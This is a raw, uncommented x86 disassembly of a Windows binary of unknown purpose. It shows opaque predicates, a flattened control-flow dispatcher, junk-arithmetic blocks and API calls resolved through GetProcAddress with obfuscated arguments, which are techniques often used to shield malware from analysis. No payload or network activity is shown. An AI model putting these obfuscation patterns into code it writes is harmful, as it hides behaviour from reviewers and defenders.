mov edx, eax
and edx, 0x63d8d452
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x8026dd2d
and edx, 0x7fd922d2
or ecx, edx
mov edx, ecx
xor edx, 0xc050085c
xor ecx, 0x800f601
and ecx, 0x2baef723
and edx, 0xd45108dc
or edx, ecx
xor edx, 0xd45108dc
or edx, eax
xor edx, 0xffffffff
sete ah
setne dh
cmp dword [0x48f780], 0xa
setge al
setl ch
mov dl, al
mov ebx, eax
or al, dh
xor dl, dh
and dh, ch
xor ch, ah
xor al, 1
and bl, ah
or al, ch
or bl, dh
mov ecx, edx
mov dh, dl
xor al, 1
xor cl, 1
or al, bl
and dh, cl
mov ah, al
xor dh, 1
xor ah, 1
or dh, cl
mov ch, ah
xor dh, 1
and ch, al
or dh, dl
xor ch, 1
or ch, al
or al, cl
xor ch, 1
mov cl, al
or ch, ah
xor ch, dh
mov edx, 0x855f386c
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0x855f386c
cmovne eax, edx
jmp 0x40e318
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, 0x51e26690
jmp 0x401200
mov eax, dword [ebp - 0x48]
mov dword [eax], 0x40
mov eax, 0x8a2e8fff
jmp 0x401200
mov eax, dword [ebp - 0xf0]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub ebx, 0x80
sbb edi, 0x14
sub edi, 0x6f
neg ebx
rcl edi, 0xd3
sub eax, 8
rcl edi, 0x66
rcl esi, 0x86
mov eax, 0x65
and ebx, 0x72
rcl eax, 0xa5
inc ebx
rol ebx, 0xb
and ebx, 0x2b
add edx, 0xb
imul ebx
and eax, 0xde
dec eax
and eax, 0xc0
and edx, 0x4b
inc edi
dec edi
neg edx
rcl ebx, 0x84
bswap edx
rcr eax, 0x99
sbb eax, 0xff
inc edx
and ebx, 0xfa
imul esi
add edx, 0xc8
add edi, 0x60
neg edx
neg edi
and edx, 0x3b
rcr ebx, 0x56
rol ebx, 8
sub ebx, 0x2c
dec edx
add ebx, 0x56
neg edx
dec eax
ror edi, 0x44
rcr esi, 0x4c
not eax
inc edi
rcl ebx, 0x8b
rcl edi, 0xbf
sub eax, 0x5e
add edi, 0x7e
or ebx, 0xd4
inc edx
sub eax, 0x90
neg edi
add ebx, 0x30
not ebx
imul edi
rol ebx, 4
bswap ebx
sub ebx, 0x73
rcr edi, 0x73
bswap edx
imul ebx
and edi, 0x2e
inc edi
sub edx, 0xab
rcr esi, 0x2f
not edi
not edi
imul ebx
ror edx, 0x7c
neg esi
ror esi, 0xf2
neg esi
ror edi, 0x58
sbb ebx, 0x48
inc eax
inc ebx
dec ebx
dec eax
dec edi
imul edi
rcr edx, 0x3a
ror ebx, 0xd
sbb eax, 0xa4
ror esi, 0x86
neg ebx
add eax, 0x30
inc eax
and esi, 0x64
dec eax
rcl edx, 0xdc
sub esi, 1
and edi, 0x3d
ror esi, 0x1d
inc edx
rol edx, 0xa4
neg ebx
bswap edx
neg edi
imul eax
neg edx
mov eax, 0xb1
mov edx, 0xb6
mov esi, 0x5d
or ebx, 0x9a
dec edi
not ebx
add edx, 0x95
or edx, 0x1a
neg eax
add edx, 0x11
neg eax
not eax
imul eax
rol ebx, 0x15
or esi, 0x2c
ror edi, 0x78
add eax, 0x3b
dec ebx
sbb edi, 0x49
dec eax
imul ebx
not eax
or eax, 0x4b
bswap eax
rcr edx, 0x32
sub eax, 0xa4
rol ebx, 0xd1
inc edx
sub ebx, 0x1c
dec eax
dec ebx
ror eax, 0xee
not edx
sub edi, 0x4a
dec ebx
rcr esi, 0x10
bswap ebx
neg esi
imul eax
sbb edi, 0x29
add esi, 0x96
sbb esi, 0x13
inc edx
neg esi
mov ebx, 0x8f
sbb edi, 0x98
imul edx
and eax, 0xf9
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [ebp - 0x38]
mov dword [eax], 1
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xec]
mov eax, 0xffc733bc
jmp 0x401200
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x8c]
mov esi, 0x25124bcb
sub ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
add eax, dword [ecx]
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x60bbc96f
mov eax, ecx
and eax, 0x20828147
and edx, ecx
not ecx
and ecx, 0x40394828
or eax, ecx
xor eax, 0x20828147
or eax, edx
not edx
and edx, 0x9f443690
and eax, 0x60bbc96f
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdfbb73f4
and ecx, 0x20448c0b
or eax, ecx
mov ecx, eax
xor ecx, 0x5a385174
xor eax, 0x20448c0a
and ecx, 0x5a385175
and eax, 0xa5c7ae8a
or eax, ecx
mov ecx, eax
xor ecx, 0x18081044
xor eax, 0x1020088
and eax, 0x433241b9
and ecx, 0xbccdbe46
or ecx, eax
xor ecx, 0xbccdbe46
sete dl
setne al
cmp dword [0x48f780], 0xa
setge cl
mov ch, cl
xor ch, al
or al, cl
or cl, dl
mov ah, al
and ch, dl
xor cl, 1
xor ah, 1
or cl, ch
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf180bfd8
cmovne esi, eax
test cl, cl
mov eax, 0x25124bcb
jmp 0x40cb18
mov eax, 0x4e54a6b
jmp 0x401200
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x7d8c2082
mov eax, ecx
and eax, 0x8273df7c
and ecx, 0xcc9d7e83
or esi, eax
mov eax, edx
xor eax, 0xfffffffe
xor esi, 0x7d8c2082
and eax, edx
or eax, esi
mov esi, eax
not esi
and eax, 0x45db5f14
and esi, 0xba24a0eb
or eax, esi
mov esi, eax
xor esi, 0x44995e00
xor eax, 0xba24a0eb
mov edi, eax
or eax, edx
and edx, 0x3362817c
and edi, 0x3362817c
and esi, 0xcc9d7e83
or esi, edi
or ecx, edx
not eax
mov edi, 0x6316b490
xor ecx, esi
mov esi, 0x99b2ef82
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbc09c7ed
and ecx, 0x43f63812
or eax, ecx
xor eax, 0xbc09c7ed
setne dl
sete ah
cmp dword [0x48f780], 0xa
setl al
setge cl
mov ch, al
or dl, al
or al, ah
or cl, ah
xor ch, ah
mov ah, cl
xor al, 1
or cl, dl
or al, ch
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
xor cl, al
mov edx, ecx
cmovne esi, edi
not dl
test dl, al
cmovne esi, edi
test cl, cl
mov ecx, esi
cmovne ecx, edi
test dl, al
mov eax, dword [ebp - 0x68]
cmove ecx, esi
mov eax, ecx
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x89a03ce4
and eax, 0x9a34eae4
mov edx, ecx
and edx, 0x40310
mov edi, ecx
or edi, 0x89a43ff4
and ecx, 0x65cb151b
or esi, edx
mov edx, edi
not edx
or eax, ecx
and edi, 0x765bc00a
xor esi, 0x89a03ce4
mov ecx, eax
xor ecx, 0x9a34eae4
xor eax, 0x65cb151b
or edx, esi
mov esi, 0x25df2b1d
and edx, 0x89a43ff5
or edx, edi
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne cl
sete al
cmp dword [0x48f780], 0xa
mov ah, cl
setl dl
setge ch
mov dh, dl
and ah, ch
xor cl, ch
and dh, al
and cl, al
xor al, dl
or dh, ah
and al, dl
mov ah, dh
or al, cl
xor ah, ch
and ah, dh
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xa2c9e0d4
cmovne eax, esi
test cl, cl
mov ecx, 0xa2c9e0d4
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401200
mov eax, 0x84f8d95c
jmp 0x401200
mov eax, dword [0x48f784]
mov edi, 0x9bbe67af
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0x58b7b30c
and ecx, 0xa7484cf3
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0xb9d480be
and edx, 0x462b7f41
or eax, edx
mov edx, eax
xor edx, 0x854803a
xor eax, 0x462b7f41
mov esi, eax
and esi, 0xf18a09c4
and edx, 0xe75f63b
or edx, esi
mov esi, ecx
xor esi, 0x6404433
xor ecx, 0x58b7b30c
or eax, ecx
and ecx, 0xf18a09c4
and esi, 0xe75f63b
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xc8a807ef
mov ecx, eax
not ecx
and eax, 0x7eb5ec5
and ecx, 0xf814a13a
or eax, ecx
xor eax, 0x7eb5ec5
setne al
sete cl
cmp dword [0x48f780], 0xa
setl ch
setge ah
mov dl, ch
and al, ch
and ah, cl
xor ch, cl
or dl, cl
or al, ah
xor dl, 1
xor al, 1
or dl, ch
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
mov edx, 0x9bbe67af
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x401200
mov eax, 0xdd9418d0
jmp 0x401200
mov eax, dword [ebp - 0xc0]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x5522ad0c
mov esi, ecx
and esi, 0xaadd52f2
and ecx, 0x598fa522
or esi, edx
mov edx, eax
or edx, 0x5522ad0c
and eax, 0xa6705add
and edx, 0x5522ad0d
or eax, ecx
xor edx, esi
xor eax, 0xa6705add
mov esi, edx
not esi
and edx, 0x8bb7e8a7
and esi, 0x74481758
or edx, esi
xor edx, 0x8bb7e8a7
or eax, edx
xor eax, 0xffffffff
sete dl
setne ch
cmp dword [0x48f780], 0xa
setl cl
mov ah, cl
xor ch, cl
xor cl, dl
or ah, dl
mov al, ch
xor ah, 1
xor al, 1
or cl, ah
mov ah, ch
and ah, al
mov edx, ecx
xor ah, 1
xor dl, 1
or ah, al
and cl, dl
xor ah, 1
xor cl, 1
or ah, ch
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov ch, ah
xor ch, 1
and ch, cl
xor cl, 1
and cl, ah
mov ah, al
xor ah, dl
or dl, al
or cl, ch
xor dl, 1
or dl, ah
mov eax, 0x7eb9e2ff
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0x893da4d8
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0x7eb9e2ff
cmove eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x13c]
mov eax, 0xebe3824e
jmp 0x401200
mov eax, 0x8f949505
jmp 0x401200
mov eax, 0xacb81fe5
jmp 0x401200
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xdb019835
mov eax, edx
and eax, 0xd3018825
and ecx, edx
not edx
mov esi, edx
and esi, 0x8001010
and edx, 0x12018825
or eax, esi
xor eax, 0x8001010
lea esi, [eax + 0x822c0]
and esi, 0xc90832d0
or edx, esi
mov esi, ecx
not esi
and ecx, 0x36f7cd2f
or eax, esi
and esi, 0xc90832d0
or ecx, esi
not eax
mov esi, 0xa2c32e91
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x24fe67ca
and eax, 0xdb019835
or eax, ecx
mov edx, eax
xor edx, 0xc0a20e98
mov ecx, eax
and ecx, 0xdf613ba1
and edx, eax
not eax
and eax, 0x209ec45e
or ecx, eax
mov eax, ecx
xor eax, 0xc0200a80
xor ecx, 0x209ec45e
and eax, 0xc0a20e98
and ecx, 0xfffffffe
or eax, edx
not edx
and edx, 0x3f5df166
and eax, 0xc0a20e99
or eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xbeb1f190
and eax, 0x414e0e6f
or ecx, eax
cmp ecx, 0xbeb1f190
sete al
cmp dword [0x48f780], 0xa
setl ah
xor ah, al
mov cl, ah
mov dl, ah
xor cl, 1
and dl, cl
and al, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x7c4be7c0
cmovne eax, esi
test dl, 1
mov edx, 0x7c4be7c0
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x1e4]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x1e8], eax
mov eax, 0x838b5000
jmp 0x401200
mov eax, 0xeb0a3ebf
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x19c28c05
mov esi, ecx
and esi, 0x51108
mov edi, ecx
or edi, 0x11010908
and ecx, 0x83406b51
or edx, esi
and edi, 0x17212908
mov esi, edx
xor esi, 0x8c28405
xor edx, 0x6212108
and edx, 0x17212908
and esi, 0x8c69405
or esi, edx
mov edx, eax
and edx, 0xe01842f2
and eax, 0x7cbf94ae
or edx, edi
or eax, ecx
xor edx, esi
xor eax, 0x7cbf94ae
mov esi, edx
not esi
and edx, 0xb71ee026
and esi, 0x48e11fd9
or edx, esi
mov esi, dword [ebp - 0x11c]
xor edx, 0x512682d5
or eax, edx
cmp eax, 0xffffffff
sete dl
cmp dword [0x48f780], 0xa
mov dword [ebp - 0x1a0], esi
setl al
mov ah, al
inc ah
mov cl, ah
or ah, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
mov ch, dl
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, dl
or dl, cl
mov ah, ch
xor ch, 1
xor dl, 1
and ch, cl
xor cl, 1
and ah, cl
xor cl, al
or dl, cl
or ch, ah
mov eax, 0x2a2ef10b
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x8b1e4c31
cmovne eax, edx
test ch, 1
not cl
cmove eax, edx
test cl, 1
mov edx, 0x2a2ef10b
cmovne eax, edx
jmp 0x401200
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x158], eax
mov eax, 0x86017ede
jmp 0x401200
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x174]
mov esi, 0x5b1f6451
mov dword [eax], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xfffffffe
mov eax, ecx
and ecx, 1
and eax, 0xfffffffe
or ecx, edx
or ecx, eax
mov edx, ecx
xor edx, 0xc665b4d5
mov eax, ecx
and eax, 0x45a445
and edx, ecx
not ecx
and ecx, 0xc6201090
or eax, ecx
xor eax, 0x45a445
or eax, edx
not edx
and edx, 0x399a4b2a
and eax, 0xc665b4d5
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe3ddfa3d
mov edx, ecx
and edx, 0x1c2205c2
or eax, edx
xor eax, 0x1c2205c2
xor ecx, eax
test ecx, eax
sete ah
setne al
cmp dword [0x48f780], 0xa
mov ch, ah
setl cl
setge dl
mov dh, cl
or ch, dl
or cl, ah
and dh, al
xor al, dl
xor ch, 1
xor cl, 1
and al, dl
and dl, ah
or al, ch
or dl, dh
or cl, dl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6c53972b
cmovne ecx, esi
test al, al
mov eax, 0x6c53972b
jmp 0x410aa7
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0xe333d6ed
and eax, 0x1ccc2912
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x492b0cdd
mov esi, edx
and esi, 0xb6d4f322
or ecx, esi
mov esi, eax
xor esi, 0x8080810
xor eax, 0xa210d220
and eax, 0xb6d4f322
and esi, 0x492b0cdd
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x74e0cf6b
sete cl
setne ah
cmp dword [0x48f780], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
mov edx, 0x66a73344
and ah, ch
mov cl, ah
xor ah, al
xor al, 1
xor cl, 1
or al, cl
mov cl, ah
xor cl, al
test ah, ah
cmovne edx, esi
test al, al
mov eax, 0x66a73344
cmovne edx, eax
test cl, 1
cmove edx, esi
mov eax, edx
jmp 0x401200
cmp byte [ebp - 0xa3], 0
mov eax, 0xfdda1b23
mov ecx, 0x581a79e6
cmovne eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xf31598e0
mov esi, edx
and esi, 0xcea671f
and edx, 0x6484703e
or ecx, esi
mov esi, ecx
xor ecx, 0xcea0000
xor esi, 0x11040000
or ecx, 0xffff
and esi, 0x19060000
mov edi, ecx
and edi, 0xe6f99586
or esi, edi
mov edi, eax
xor edi, 0xffff0000
and edi, eax
and eax, 0x9b7b8fc1
mov ebx, edi
not ebx
and edi, 0x19066a79
or eax, edx
or ecx, ebx
and ebx, 0xe6f99586
xor eax, 0x9b7b8fc1
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x5d26482e
and esi, 0xa2d9b7d1
or ecx, esi
xor ecx, 0x5d26482e
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x92ef914
and ecx, 0xf6d106eb
or eax, ecx
mov ecx, dword [ebp - 0x50]
xor eax, 0x92ef914
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
cmp dword [eax], 0
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
setne byte [ebp - 0xac]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x320841c0
mov esi, eax
and esi, 0x801018
mov edi, eax
or edi, 0x12000150
and eax, 0xb18ffe6d
or edx, esi
and edi, 0xdf00a773
mov esi, edx
xor esi, 0x20084080
xor edx, 0xcd00a633
and edx, 0xdf00a773
and esi, 0x20885088
or esi, edx
mov edx, ecx
and edx, 0x770804
and ecx, 0x4e700192
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0x328851d9
and esi, 0xcd77ae26
or edx, esi
mov esi, edx
not esi
and edx, 0xb18ffe6d
mov edi, esi
and edi, 0x4e700192
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x3710b4a1
setne al
sete ch
cmp dword [0x48f780], 0xa
mov edx, eax
setl cl
setge ah
and dl, ah
and cl, ch
xor al, ah
or cl, dl
and al, ch
xor cl, 1
xor al, 1
or cl, ah
or ah, ch
mov ch, al
or al, ah
xor ch, ah
mov edx, ecx
xor al, 1
xor dl, 1
or al, ch
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xb23352ed
cmovne eax, esi
test dl, 1
not cl
mov edx, 0xb23352ed
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x34edd75d
and eax, 0xcb1228a2
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xb102802
xor eax, 0x34edd75d
xor ecx, 0x26a6c5d4
mov esi, eax
and edx, 0x1b30fc47
and esi, 0xe4cf03b8
and ecx, eax
or esi, edx
mov eax, esi
mov edx, esi
xor edx, 0xe4cf03b8
xor esi, 0x97beece
xor eax, 0x1b30fc46
and esi, edx
and eax, 0xfffffffe
mov edx, esi
not edx
and esi, 0x1f89ca75
mov edi, edx
and edi, 0xe076358a
or esi, edi
mov edi, ecx
not edi
and ecx, 0x1f89ca75
or edx, edi
and edi, 0xe076358a
or ecx, edi
not edx
mov edi, 0x9ee91b40
xor ecx, esi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x124b1288
and ecx, 0xedb4ed77
or edx, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xea75e720
and edx, 0x158a18df
or edx, esi
mov esi, ecx
not esi
and ecx, 0x158a18df
or eax, esi
and esi, 0xea75e720
or ecx, esi
not eax
mov esi, 0xa9f98f04
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x699b501f
and ecx, 0x9664afe0
or ecx, eax
xor ecx, 0x9664afe0
sete ah
setne dl
cmp dword [0x48f780], 0xa
setl cl
setge ch
mov dh, cl
mov al, cl
and ch, ah
xor dh, dl
or al, dl
not dh
xor al, 1
and dh, dl
and dl, cl
or cl, ah
or dl, ch
xor cl, 1
or al, dh
or cl, dl
mov ah, cl
mov edx, ecx
not ah
and ah, cl
xor ah, 1
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
mov ch, ah
xor dl, 1
mov cl, dl
and cl, ah
xor cl, 1
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x9ee91b40
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x401200
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, 0xc0f5c292
jmp 0x401200
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x476636ad
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0xb899c952
and eax, 0x476636ad
or eax, ecx
mov ecx, eax
not ecx
mov edi, eax
and edi, 0xbf3a6f4a
and eax, 0xd4970265
and ecx, 0x40c590b5
or edi, ecx
mov ecx, edi
xor ecx, 0xbf3a6f4a
xor edi, 0x40c19091
mov edx, ecx
and edx, 0x2b68fd9a
and edi, 0x4ccb9391
or eax, edx
mov edx, eax
not edx
and eax, 0xd5520158
and edx, 0x2aadfea7
or eax, edx
mov edx, ecx
and edx, 0xb3346c6e
and ecx, 1
or edx, edi
mov esi, eax
xor esi, 0x22208cc2
xor eax, 0x1c5033c
mov edi, edx
xor edi, 0x4ccb9390
xor edx, 0x22240c4e
and esi, 0x22a58fde
or ecx, edi
mov edi, eax
and edi, 0xdd5a7021
and edx, 0x22a58fde
or eax, ecx
and ecx, 0xdd5a7021
or esi, edi
mov edi, 0x9bfd93ae
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x4220044
and eax, 0x6a59b822
mov edx, ecx
or edx, 0x840210
and esi, 0x4a60254
and ecx, 0x91004589
and edx, 0x4a60254
or ecx, esi
mov esi, 0xeb80703b
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x91844799
and ecx, 0x6e7bb866
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbef77699
mov edx, ecx
and edx, 0x41088966
or eax, edx
xor eax, 0x41088966
xor ecx, eax
test ecx, eax
sete al
setne dl
cmp dword [0x48f780], 0xa
setl ch
mov ah, ch
mov cl, ch
xor ah, dl
or cl, al
or dl, ch
xor al, ch
xor ah, 1
xor cl, 1
xor dl, 1
and al, ch
or cl, ah
or al, dl
mov ah, cl
mov edx, eax
mov ch, al
xor ah, 1
xor dl, 1
and ch, cl
or al, ah
mov dh, ah
and dh, dl
xor dl, cl
xor al, 1
or al, dl
or dh, ch
mov ecx, eax
xor cl, dh
test cl, 1
cmovne edi, esi
test al, 1
mov eax, 0x9bfd93ae
cmovne eax, edi
test dh, 1
cmove eax, edi
jmp 0x401200
mov eax, 0x5fad81a0
jmp 0x401200
mov eax, dword [ebp - 0x190]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x54]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add ecx, dword [eax + edx*8 + 0xc]
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xf8], eax
add edx, 0x29
imul edi
ror eax, 0xbd
ror eax, 0xcf
not eax
not ebx
sub ebx, 0xf5
imul edi
sub edi, 0x50
sub edx, 0x73
or edx, 0xf0
imul esi
not edx
neg edi
dec eax
not ebx
add edi, 0x5c
ror eax, 0x4d
mov eax, 0xa8
sub edi, 0xcc
ror edi, 0x57
add eax, 0xb0
dec eax
ror esi, 0x64
add edx, 0xb1
inc edx
inc edx
ror ebx, 0x78
mov edx, 0x56
or ebx, 0x40
mov eax, 0x57
not edi
dec esi
mov eax, 0x30
imul ebx
and ebx, 0xb3
rcl edx, 0x9b
inc ebx
inc eax
mov ebx, 0xd8
inc ebx
mov edx, 0xbd
bswap edx
sub edx, 0x54
rol edx, 0x46
ror edx, 0xd8
neg esi
not esi
dec edx
and edi, 0xac
bswap edx
or edi, 0xcd
sbb ebx, 0xb9
sbb ebx, 0x58
not ebx
imul edi
inc edx
not esi
add esi, 0xdd
mov eax, 0x13
not esi
sub ebx, 0x8e
and ebx, 0xfd
add esi, 0xb7
rcr esi, 0xee
add esi, 0x73
and ebx, 0xd1
not esi
dec edi
rcr esi, 0x68
sbb esi, 0xbe
and ebx, 0x8c
sub esi, 0x37
bswap edx
not ebx
dec esi
sbb esi, 0x4f
bswap ebx
sbb ebx, 0xf8
not esi
rcr eax, 0xa8
not ebx
imul esi
and eax, 0x88
neg edx
neg ebx
inc eax
rcl eax, 0xae
dec esi
not esi
not edi
inc edx
bswap edi
ror eax, 0x2d
sbb ebx, 0x5e
sub esi, 0x9f
or edx, 0xa8
not edi
bswap edi
rcr edx, 0x6b
sub esi, 0xbe
bswap esi
sub eax, 0xbc
rol ebx, 0xf1
ror esi, 0xde
imul edx
sbb esi, 0x25
ror edi, 0x32
mov edi, 0x5e
not edi
sub esi, 0xf4
and edi, 0xea
not esi
dec ebx
or esi, 0x7f
sbb eax, 0x12
bswap eax
rcl edx, 0xb9
and esi, 0xda
neg edx
inc edx
mov eax, 0xdb
dec ebx
bswap edi
imul eax
sub ebx, 0xf3
not eax
neg eax
add esi, 4
imul ebx
dec edx
imul eax
not eax
rcr edi, 0xb1
rcl edx, 0x63
imul ebx
ror edx, 0x27
or esi, 0xf8
and eax, 0xcc
inc ebx
ror esi, 0x7f
sub edi, 0xc4
bswap edx
add edx, 0xb4
rol eax, 0xe5
neg edi
neg esi
dec esi
rcl edi, 0x30
not edi
mov eax, dword [0x48f78c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, edx
and ebx, 0x80687100
mov edi, edx
xor edi, 0x9868f110
mov esi, eax
and esi, 0x18008010
and edi, edx
and eax, 0x3c4c7048
or ebx, esi
xor ebx, 0x80687100
or edi, ebx
mov esi, edi
not esi
and edi, 0xac9ca7ca
and esi, 0x53635835
or edi, esi
mov esi, edi
xor edi, 0x8082000
xor esi, 0x34f456db
mov ebx, esi
or esi, edx
and edx, 0xc3b38fb7
and ebx, 0xc3b38fb7
